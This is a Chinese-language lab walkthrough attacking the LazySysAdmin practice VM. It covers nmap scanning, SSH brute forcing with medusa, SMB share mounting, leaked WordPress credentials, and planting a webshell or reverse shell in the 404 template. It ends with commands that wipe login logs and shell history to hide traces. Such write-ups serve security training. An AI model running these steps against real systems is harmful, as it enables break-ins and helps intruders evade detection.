1. Lazysadmin渗透实战

攻击机:Kali
攻击机ip:192.168.1.120

靶机发现:

nmap -sn 192.168.1.1/24

开放端口扫描

nmap -sS 192.168.1.117

操作系统以及端口上的服务版本

nmap -sV -p22,80,139,445,3306,6667 -O 192.168.1.117

可以尝试对ssh服务进行暴力破解
medusa -M ssh -h 192.168.1.120 -U username.txt -P password.txt

随便尝试了几个参数，主要是练习下工具使用

139,445端口SMB服务

SMB扫描
nmap -p 139,445 -v 192.168.1.117 不详细
nmap -p 139,445 192.168.1.117 --script=smb-os-discovery.nse

enum4linux -a 192.168.1.117 详细信息的扫描（一般用这个）

允许空密码登录

share$ 为共享文件,远程挂载共享文件
mount -t cifs -o username=’ ‘,password=’ ’ //192.168.1.117/share$ /media

wordpress建站 建站信息一般在wordpress下的wp-config.php里边

可疑的文件

得到账户:Admin 密码:TogieMYSQL12345^^
尝试远程登录
登录失败

80端口

访问http://192.168.1.117在页面和源代码中没有发现有用的信息

目录枚举dirb http://192.168.117



php配置信息

http://192.168.1.117/robots.txt

http://192.168.1.117/old

http://192.168.1.117/test/

http://192.168.1.117/TR2/

http://192.168.1.117/Backnode_files/

在以上四个目录中都没有发现有用的信息

数据库管理界面

尝试使用上面的到的账户密码登录数据库
Admin 密码:TogieMYSQL12345^^

登录成功，但是权限过小无法访问表

尝试账户:togie 密码:12345远程登录服务器

远程登录成功

本着求学的态度，进入wordpress的后台wp-admin

使用账户Admin 密码:TogieMYSQL12345^^
登录成功,可以进行404挂马
把代码插到404页面的最后一行,可以插入一句话木马或者php反弹shell

一句话木马



菜刀连接http://192.168.1.117/wordpress/?p=1234 密码123

反弹shell
复制内容到404.php内
改成kali的ip 设置监听端口nc -lvnp 4444

很奇怪无论是反弹端口还是一句话木马都运行不了也没排查出问题…

查看靶机操作系统的版本


uname -a 查看内核版本


查看当前用户具有的权限

查看当前用户所属组

切换到root账户

上传后门以及清除痕迹
last -f /var/log/btmp
查看错误登陆日志,该日志记录有人使用暴力破解登录ssh服务，该日志是二进制文件，不能用cat，tail查看，可以用last/lastb查看

cat /var/log/auth.log 查看身份认证服务

#echo > /var/log/wtmp
#echo > /var/log/btmp
#echo > /var/log/lastlog

history -c 删除所有的日志记录

部分删除操作：

1.vim ~/.bash_history
该文件即为历史记录存储文件，我们随意修改

2.修改后再次 history 查看，发现并没有变化。原因：缓存
执行：history -r
读取历史文件并将其内容添加到历史记录中，即重置文件里的内容到内存中，完成修改！